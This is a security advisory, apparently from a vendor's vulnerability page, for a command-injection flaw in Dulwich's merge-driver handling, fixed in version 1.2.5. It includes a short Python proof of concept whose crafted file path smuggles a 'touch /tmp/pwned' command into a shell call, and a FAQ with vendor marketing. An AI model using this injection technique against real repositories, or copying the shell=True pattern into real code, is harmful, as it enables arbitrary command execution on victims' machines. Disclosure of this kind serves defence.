Summary
Dulwich Vulnerable to Command Injection via Merge Driver Path
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.pyline 195, path from merge tree (from repository content when merging untrusted branch) - Sink:
merge_drivers.pylines 124–127,subprocess.run(cmd, shell=True)wherecmdincludes path via%Pplaceholder - Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%Pplaceholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py(lines 119–129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned
Impact
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-42563? CVE-2026-42563 is a high-severity OS command injection vulnerability in dulwich (pip), affecting versions >= 0.24.0, < 1.2.5. It is fixed in 1.2.5. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- Which versions of dulwich are affected by CVE-2026-42563? dulwich (pip) versions >= 0.24.0, < 1.2.5 is affected.
- Is there a fix for CVE-2026-42563? Yes. CVE-2026-42563 is fixed in 1.2.5. Upgrade to this version or later.
- Is CVE-2026-42563 exploitable, and should I be worried? Whether CVE-2026-42563 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-42563 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-42563? Upgrade
dulwichto 1.2.5 or later.